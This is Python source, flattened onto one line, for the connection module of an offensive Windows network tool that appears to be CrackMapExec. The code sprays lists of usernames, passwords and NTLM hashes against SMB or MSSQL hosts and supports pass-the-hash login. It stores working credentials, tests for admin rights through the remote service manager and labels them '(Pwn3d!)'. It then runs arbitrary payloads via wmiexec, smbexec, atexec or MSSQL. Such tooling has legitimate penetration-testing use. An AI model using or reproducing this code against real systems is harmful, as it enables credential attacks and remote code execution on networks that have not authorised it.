from core.helpers import highlight from core.execmethods.mssqlexec import MSSQLEXEC from core.execmethods.wmiexec import WMIEXEC from core.execmethods.smbexec import SMBEXEC from core.execmethods.atexec import TSCH_EXEC from impacket.dcerpc.v5 import transport, scmr from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.smbconnection import SessionError class Connection: def __init__(self, args, db, target, server_name, domain, conn, logger, cmeserver): self.args = args self.db = db self.host = target self.hostname = server_name self.domain = domain self.conn = conn self.logger = logger self.cmeserver = cmeserver self.password = None self.username = None self.hash = None self.admin_privs = False self.login() def check_if_admin(self): if self.args.mssql: try: #I'm pretty sure there has to be a better way of doing this. #Currently we are just searching for our user in the sysadmin group self.conn.sql_query("EXEC sp_helpsrvrolemember 'sysadmin'") query_output = self.conn.printRows() if query_output.find('{}\\{}'.format(self.domain, self.username)) != -1: self.admin_privs = True except: pass elif not self.args.mssql: ''' We use the OpenSCManagerW Win32API call to to establish a handle to the remote host. If this succeeds, the user context has administrator access to the target. Idea stolen from PowerView's Invoke-CheckLocalAdminAccess ''' stringBinding = r'ncacn_np:{}[\pipe\svcctl]'.format(self.host) rpctransport = transport.DCERPCTransportFactory(stringBinding) rpctransport.set_dport(self.args.smb_port) lmhash = '' nthash = '' if self.hash: lmhash, nthash = self.hash.split(':') if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.username, self.password if self.password is not None else '', self.domain, lmhash, nthash) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(scmr.MSRPC_UUID_SCMR) lpMachineName = '{}\x00'.format(self.host) try: # 0xF003F - SC_MANAGER_ALL_ACCESS # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx resp = scmr.hROpenSCManagerW(dce, lpMachineName, 'ServicesActive\x00', 0xF003F) self.admin_privs = True except DCERPCException: pass def plaintext_login(self, username, password): try: if self.args.mssql: res = self.conn.login(None, username, password, self.domain, None, True) if res is not True: self.conn.printReplies() return False elif not self.args.mssql: self.conn.login(username, password, self.domain) self.password = password self.username = username self.check_if_admin() self.db.add_credential('plaintext', self.domain, username, password) out = u'{}\\{}:{} {}'.format(self.domain, username, password, highlight('(Pwn3d!)') if self.admin_privs else '') self.logger.success(out) return True except SessionError as e: self.logger.error(u'{}\\{}:{} {}'.format(self.domain, username, password, str(e).split(':')[1])) return False def hash_login(self, username, ntlm_hash): lmhash, nthash = ntlm_hash.split(':') try: if self.args.mssql: res = self.conn.login(None, username, '', self.domain, ntlm_hash, True) if res is not True: self.conn.printReplies() return False elif not self.args.mssql: self.conn.login(username, '', self.domain, lmhash, nthash) self.hash = ntlm_hash self.username = username self.check_if_admin() self.db.add_credential('hash', self.domain, username, ntlm_hash) out = u'{}\\{} {} {}'.format(self.domain, username, ntlm_hash, highlight('(Pwn3d!)') if self.admin_privs else '') self.logger.success(out) return True except SessionError as e: self.logger.error(u'{}\\{} {} {}'.format(self.domain, username, ntlm_hash, str(e).split(':')[1])) return False def login(self): if self.args.local_auth: self.domain = self.hostname for user in self.args.username: if type(user) is file: for usr in user: if self.args.hash: for ntlm_hash in self.args.hash: if type(ntlm_hash) is not file: if self.hash_login(usr.strip(), ntlm_hash): return elif type(ntlm_hash) is file: for f_hash in ntlm_hash: if self.hash_login(usr.strip(), f_hash.strip()): return elif self.args.password: for password in self.args.password: if type(password) is not file: if self.plaintext_login(usr.strip(), password): return elif type(password) is file: for f_pass in password: if self.plaintext_login(usr.strip(), f_pass.strip()): return elif type(user) is not file: if self.args.hash: for ntlm_hash in self.args.hash: if type(ntlm_hash) is not file: if self.hash_login(user, ntlm_hash): return elif type(ntlm_hash) is file: for f_hash in ntlm_hash: if self.hash_login(user, f_hash.strip()): return elif self.args.password: for password in self.args.password: if type(password) is not file: if self.plaintext_login(user, password): return elif type(password) is file: for f_pass in password: if self.plaintext_login(user, f_pass.strip()): return def execute(self, payload, get_output=False, method=None): if self.args.mssql: exec_method = MSSQLEXEC(self.conn) elif not self.args.mssql: if not method: method = self.args.exec_method if method == 'wmiexec': exec_method = WMIEXEC(self.host, self.username, self.password, self.domain, self.conn, self.hash, self.args.share) elif method == 'smbexec': exec_method = SMBEXEC(self.host, self.args.smb_port, self.username, self.password, self.domain, self.hash, self.args.share) elif method == 'atexec': exec_method = TSCH_EXEC(self.host, self.username, self.password, self.domain, self.hash) #self.args.share) if self.cmeserver: if hasattr(self.cmeserver.server.module, 'on_request') or hasattr(self.cmeserver.server.module, 'on_response'): self.cmeserver.server.hosts.append(self.host) output = exec_method.execute(payload, get_output) return u'{}'.format(output.strip())